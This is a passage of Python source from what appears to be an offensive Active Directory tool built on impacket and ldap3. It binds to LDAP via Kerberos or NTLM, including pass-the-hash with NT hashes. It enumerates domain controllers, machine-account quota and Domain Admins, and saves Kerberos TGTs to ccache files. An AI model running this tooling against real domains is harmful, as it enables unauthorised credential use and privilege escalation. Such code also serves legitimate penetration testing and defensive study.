184 | authenticator = Authenticator()
185 | authenticator['authenticator-vno'] = 5
186 | authenticator['crealm'] = domain
187 | seq_set(authenticator, 'cname', userName.components_to_asn1)
188 | now = datetime.datetime.utcnow()
189 |
190 | authenticator['cusec'] = now.microsecond
191 | authenticator['ctime'] = KerberosTime.to_asn1(now)
192 |
193 | encodedAuthenticator = encoder.encode(authenticator)
194 |
195 | # Key Usage 11
196 | # AP-REQ Authenticator (includes application authenticator
197 | # subkey), encrypted with the application session key
198 | # (Section 5.5.1)
199 | encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11, encodedAuthenticator, None)
200 |
201 | apReq['authenticator'] = noValue
202 | apReq['authenticator']['etype'] = cipher.enctype
203 | apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator
204 |
205 | blob['MechToken'] = encoder.encode(apReq)
206 |
207 | request = ldap3.operation.bind.bind_operation(connection.version, ldap3.SASL, user, None, 'GSS-SPNEGO',
208 | blob.getData())
209 |
210 | # Done with the Kerberos saga, now let's get into LDAP
211 | if connection.closed: # try to open connection if closed
212 | connection.open(read_server_info=False)
213 |
214 | connection.sasl_in_progress = True
215 | response = connection.post_send_single_response(connection.send('bindRequest', request, None))
216 | connection.sasl_in_progress = False
217 | if response[0]['result'] != 0:
218 | raise Exception(response)
219 |
220 | connection.bound = True
221 |
222 | return True
223 |
224 | def init_ldap_connection(target, tls_version, args, domain, username, password, lmhash, nthash):
225 | user = '%s\\%s' % (domain, username)
226 | if tls_version is not None:
227 | use_ssl = True
228 | port = 636
229 | tls = ldap3.Tls(validate=ssl.CERT_NONE, version=tls_version)
230 | else:
231 | use_ssl = False
232 | port = 389
233 | tls = None
234 | ldap_server = ldap3.Server(target, get_info=ldap3.ALL, port=port, use_ssl=use_ssl, tls=tls)
235 | if args.k:
236 | ldap_session = ldap3.Connection(ldap_server)
237 | ldap_session.bind()
238 | ldap3_kerberos_login(ldap_session, target, username, password, domain, lmhash, nthash, args.aesKey, kdcHost=args.dc_ip)
239 | elif args.hashes is not None:
240 | ldap_session = ldap3.Connection(ldap_server, user=user, password=lmhash + ":" + nthash, authentication=ldap3.NTLM, auto_bind=True)
241 | else:
242 | ldap_session = ldap3.Connection(ldap_server, user=user, password=password, authentication=ldap3.NTLM, auto_bind=True)
243 |
244 | return ldap_server, ldap_session
245 |
246 |
247 | def init_ldap_session(args, domain, username, password, lmhash, nthash):
248 | if args.k:
249 | target = get_machine_name(args, domain)
250 | else:
251 | if args.dc_ip is not None:
252 | target = args.dc_ip
253 | else:
254 | target = domain
255 |
256 | if args.use_ldaps is True:
257 | try:
258 | return init_ldap_connection(target, ssl.PROTOCOL_TLSv1_2, args, domain, username, password, lmhash, nthash)
259 | except ldap3.core.exceptions.LDAPSocketOpenError:
260 | return init_ldap_connection(target, ssl.PROTOCOL_TLSv1, args, domain, username, password, lmhash, nthash)
261 | else:
262 | return init_ldap_connection(target, None, args, domain, username, password, lmhash, nthash)
263 |
264 |
265 | def get_user_info(samname, ldap_session, domain_dumper):
266 | ldap_session.search(domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(samname),
267 | attributes=['objectSid','ms-DS-MachineAccountQuota'])
268 |
269 | try:
270 | et = ldap_session.entries[0]
271 | js = et.entry_to_json()
272 | return json.loads(js)
273 | except IndexError:
274 | logging.error('Machine not found in LDAP: %s' % samname)
275 | return False
276 |
277 |
278 | def get_dc_host(ldap_session, domain_dumper):
279 | dc_host = None
280 | ldap_session.search(
281 | domain_dumper.root,
282 | '(&(objectCategory=Computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))',
283 | attributes=['name', 'dNSHostName']
284 | )
285 | dd = ldap_session.entries[0]
286 | js = dd.entry_to_json()
287 | return json.loads(js)['attributes']
288 |
289 |
290 | def get_dc_hosts(ldap_session, domain_dumper):
291 | dc_host = None
292 | ldap_session.search(
293 | domain_dumper.root,
294 | '(&(objectCategory=Computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))',
295 | attributes=['name', 'dNSHostName']
296 | )
297 | dc_hosts = []
298 | for dd in ldap_session.entries:
299 | js = dd.entry_to_json()
300 | attributes = json.loads(js)['attributes']
301 | if len(attributes['name']) > 0:
302 | dc_hosts.append(attributes)
303 | return dc_hosts
304 |
305 | def get_domain_admins(ldap_session, domain_dumper):
306 | admins = []
307 | dn = None
308 | ldap_session.search(domain_dumper.root, '(objectClass=group)',
309 | attributes=['objectSid'])
310 | for entrie in ldap_session.entries:
311 | js = json.loads(entrie.entry_to_json())
312 | if js["attributes"]["objectSid"][0].endswith('-512'):
313 | dn = js['dn']
314 |
315 | search_filter = f"(&(objectClass=person)(sAMAccountName=*)(memberOf:1.2.840.113556.1.4.1941:={dn}))"
316 |
317 | ldap_session.search(domain_dumper.root, search_filter, attributes=["sAMAccountName"])
318 | for u in ldap_session.entries:
319 | admins.append(str(u['sAMAccountName']))
320 |
321 | return admins
322 |
323 |
324 |
325 | class GETTGT:
326 | def __init__(self, target, password, domain, options):
327 | self.__password = password
328 | self.__user= target
329 | self.__domain = domain
330 | self.__lmhash = ''
331 | self.__nthash = ''
332 | self.__aesKey = None
333 | self.__options = options
334 | self.__kdcHost = options.dc_ip
335 | if options.hashes is not None:
336 | self.__lmhash, self.__nthash = options.hashes.split(':')
337 |
338 | def saveTicket(self, ticket, sessionKey):
339 | logging.info('Saving ticket in %s' % (self.__user + '.ccache'))
340 | from impacket.krb5.ccache import CCache
341 | ccache = CCache()
342 |
343 | ccache.fromTGT(ticket, sessionKey, sessionKey)
344 | ccache.saveFile(self.__user + '.ccache')
345 |
346 | def run(self):
347 | userName = Principal(self.__user, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
348 | tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain,
349 | unhexlify(self.__lmhash), unhexlify(self.__nthash), self.__aesKey,
350 | self.__kdcHost)
351 | self.saveTicket(tgt,oldSessionKey)
352 |
353 |
--------------------------------------------------------------------------------